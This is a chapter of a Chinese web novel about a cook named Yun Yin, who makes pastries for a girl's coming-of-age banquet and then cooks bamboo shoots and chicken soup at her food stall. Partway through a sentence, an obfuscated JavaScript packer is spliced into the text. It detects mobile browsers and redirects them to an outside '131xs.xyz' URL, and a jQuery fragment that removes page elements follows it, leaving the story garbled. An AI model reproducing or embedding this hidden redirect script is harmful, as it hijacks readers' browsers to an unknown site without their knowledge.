时间如潮水般流逝,云音这边的地才开垦一部分,宋萱的筵席要开始安排了。
好在这些都是云音做熟的事情,她不仅在筵席开始前做好所有糕点,还能去抽出时间参加宋萱的及笄礼。
她到了宋萱的院中,此时她被人团团围住,梳妆打扮,等待接下来的及笄礼。云音把送她的礼物交给她,见她实在忙碌,也不多打扰她,去了前院等待。
在大昭,及笄礼是一个很庄重的仪式,代表着女子成年,是一个大人了。
云音作为观礼者体验古时候,女孩子成年礼是什么样的仪式。
一加插素簪换素衣襦裙,一拜拜父母,谢其养育之恩。二加换发钗,改穿曲裾深衣,二拜拜正宾,敬师长前辈。三加取发钗换钗冠,换上大袖长裙礼服,三拜拜轩辕黄帝。
三加三拜结束后,宋萱接过正宾递过来的醴酒,跪坐把酒撒一点在地上,唇角微微沾一点酒,这一步也就结束了。
之后是长者赐字,云音听见宋萱的长辈给她取字静萱,期望她稳重内敛,又能自信从容,是极其美好的期望。
宋萱听完父母教诲,起身对着所有参礼者揖礼表示感谢,及笄礼就完成了,后面可以参加宴席。
云音很羡慕宋萱能在家人的陪同下,举办成人礼。她成年那年,家里只有她一个人,没有要好的朋友也没有亲人,她的生辰是自己一个人度过的。
虽然她那天也奖励自己,给自己做了一个很大的生日蛋糕,但依旧觉得孤独。
云音挥走一时的感伤,随着婢子穿过垂花门,跪坐到宾客那桌。
筵席的菜肴是满香居的大厨精心制作而成,上面的菜肴皆是他们的招牌菜。云音之前已经吃过的八宝鸡,还有荷叶蒸鸡,味道仍旧让人称赞不已,而上次没吃到的烧鸡,这次尝过后,她不得不感叹大厨不愧是大厨,她要学的东西还有许多。
外皮金黄酥脆,肉质鲜嫩多汁,不知是用的什么木头烤制,鸡肉中带着一股清香,中和了鸡肉的油腻。轻轻一夹,鸡肉骨肉分离,浓郁的香味瞬间扑面而来。
云音还在感叹满香居的手艺,桌上的其他女子则发出哇的声音。
她旁边一个穿着华丽的妹子,微微探头看去,只见一朵朵荷花由远及近,落在她桌前。
云音看去,才发现原来是她做的糕点到了,因为这次筵席人多,糕点也不能一直供应,她和主簿娘子商量好,按照人头,每种糕点每人能有一个。
她自然也有做些备用,以防有意外发生。云音见众人只是单纯看着,一点也不拿筷子,她正准备吃的时候,旁边那妹子惊叹道:“这也太美了吧。”
“主簿娘子可真是费心了,这样的糕点,我也就在长安见过,还是很有名的大酒楼才有这样精致的点心。也不知她请了哪家的厨子,不知能不能也来我家帮忙置办筵席。”
云音摸了摸鼻子,并没有出声,她安静坐在一旁听着她们的夸赞,直到蜜枣酥也端上来时,她们才停下对于荷花酥的赞赏。
“天啦,竟然还有。”坐在云音身旁的女子道,“这个枣子又好看又有好彩头,若是宴席时有这么一份糕点,真的增添许多光彩。”
“不行,我一会儿要去找宋萱问问……”
筵席吃完,糕点也全部上完,云音连忙起身离席,这一场筵席唯一让她觉得不好的地方,就是吃饭的坐姿,虽然她常年习武,蹲马步一点不在话下,但跪着吃饭她还真不习惯。
好在平日用的都是胡凳,也就只有正式场合才会跪坐。云音回到厨房收拾好东西,打算与主簿娘子辞行。
这一场筵席的点心她花费许多时间,好在宋萱她们很满意。而她也能赚二两银子,这个钱正好拿来付还在开荒的临江村村民的工钱。
主簿娘子今日劳累一天,神色恹恹,正靠在胡椅上,看到云音过来,连忙起身打起精神道:“云娘子来了,来人,快上茶。”
云音连忙道:“不用麻烦,我来是与主簿娘子辞行的。”
婢子朝她笑笑,仍旧端来茶和点心,主簿娘子拉过她道:“云娘子今日辛苦了,坐下喝口茶,我有一事要你商议。”
“云娘子的手艺实在是太让人惊艳了,有好多家的娘子都找我,想让你也帮她们家做点心。”
云音虽然在筵席上听到这些话,没想到她们这么着急,她想了想道:“娘子实在不好意思,我家里近期有很多事情,恐怕没有时间去她们家里做点心。”
她见主簿娘子还要劝说,连忙道:“不过我可以在家里做,让那些娘子过来取就好。”
主簿娘子见云音确实为难,也不想逼迫她,“娘子既然实在没时间,那我先问问她们,实在不行,去你家取也可以。”
云音颔首道:“实在抱歉,最近家里事多,实在抽不出空到县城来。”
她讪讪道:“有一事要提前告知娘子,我这边恐怕无法做雪媚娘,产奶的牛不太好找,我那里也没有食材。”
主簿娘子颔首道:“这些我都会告知她们,产奶的牛对于她们来说,不是什么难事。”
云音见主簿娘子已经有些困倦,起身告辞道:“那主簿娘子休息吧,我先走了,今日也不方便与宋娘子说话,还望娘子替我转达我的祝福。”
主簿娘子把银子递给云音道:“云娘子慢走,我不送你了,我让柳儿送你。”
离开宋府,天色已经不早了,云音本想租辆车回去,没想到宋时带着寿儿过来了,“云娘子要回去,正好我安排人送你。”
她挑眉道:“宋郎君怎么会在这里?你不是要帮忙待客吗?”
宋时嬉笑道:“云娘子也是客啊,我来送你也是应该的。”
云音也没拒绝他的好意,颔首道:“那就麻烦你了。”
回到家时,已是黄昏,云音披着霞光走到饭摊,张林已经在收拾厨房了,她上前帮忙道:“这段时间辛苦你了,今日生意还好吧。”
张林惊喜道:“云娘子回来了,我不觉得辛苦。只是云娘子不在,饭摊只能卖面食,许多客人不想吃面,我做菜手艺一般,那些客人只能失望离开了。”
云音擦着桌子道:“没事,我之后不会离开了,以后仍旧早上卖面,中午和晚食的饭菜我来做。”
“你明日去镇上买菜的时候,帮我找一找木工,我打算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197391|180850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定做一批点心盒子,我之后要用。”
张林:“云娘子要卖点心?”
云音颔首道:“今日那些娘子很喜欢我做的点心,但我之后没空去县城,只能让她们过来取。”
张林见云娘子的生意越做越大,喜笑颜开道:“真的吗,太好了,那娘子要扩建饭馆吗?”
“今日有个老客户过来,跟我闲聊时,希望我们能在屋子里吃饭,他不想在外面吃灰。不知娘子记不记得,那老者经常去县城看他女儿。”
提到这里,云音想起来了,那确实是个颇为讲究的人,即便是赶路,也要把自己打理的干干净净。他对女儿也很好,虽然去龙安县很远,他也买不起骡车,但仍舍得花钱给女儿买酱。
云音打量眼前简陋的厨房和竹棚,虽然他们已经收拾的干净整洁,但依然很寒酸。不说与县里的饭摊比,就连镇上的饭摊都比她的规范。
她认真考虑道:“暂时先不扩建,等我攒点钱,到时候重新建一个,这个竹棚先暂时用一用。”
云音的生活又回到之前,不忙的时候去山里挖笋子,采香椿和野菜,该晒干的晒干,该做酱的做酱,为冬日存储更多蔬菜。
她从背篓里倒出挖出来的竹笋,这个笋子比她先前掰的笋子粗,笋干她已经准备不少,这些她打算换一个方法。
烟笋也是她百吃不腻的笋子,做起来挺简单。切片的笋子煮熟,再用炭火加以烘烤,这样做出来的烟笋脆嫩,用来炒腊肉非常下饭。
有了烟笋又怎么能少了酸笋呢,螺蛳粉她也爱吃啊。酸笋做起来比烟笋还要简单,烟笋还需要用炭火烘烤呢,而酸笋只需要笋、水和盐就可以了。
洗干净没有沾染油烟的的陶罐晾干,里面不能有任何水滴存留,酸笋想要它不变质,一定不能沾染油污。
洗干净晾干的笋子放入陶罐,倒入清甜的山泉水,加入少量盐,密封坛口,不让它接触空气。然后放到阴凉处,5天左右就能吃了。
笋子全部处理干净,云音也想吃点好吃的犒劳自己,之前找村民买的干鸡枞,她一直放着没用。
正好今天找临江村的村民买了只鸡,用来煲汤正合适。
鸡枞菌泡发,鸡油煸炒出油气,先放生姜炒出香气,再倒入切好的鸡肉煸炒,倒入些许白酒去腥,之后倒入山泉水炖煮。
还没放入鸡枞菌,鸡肉的香味已经弥漫开来,正在吃面的客人闻着这味道:“云娘子,你这鸡汤也太香了,怎么卖啊。”
云音不好意思笑笑道:“煮了自己吃的,不过等会我煮好了,你还没走,我可以送你一碗尝尝。”
那客人听了这话,嘿嘿笑道:“那感情好,那我就等着你的鸡汤了。”
炖煮了一个小时的鸡汤已经浓郁,鸡枞也已经泡好,撕成丝,倒入正在炖煮的鸡汤,继续炖半个小时撒盐。
云音没法精确时间,不过她能感受大致时间,不论是火候,还是炖煮的时间,她都掌握的不差多少。锅盖打开,香喷喷的味道迎面而来,还没吃,嘴里的口水已经泛滥。
“快让我尝尝。”那食客此时也被香的坐不住,拿着碗眼巴巴看着云音。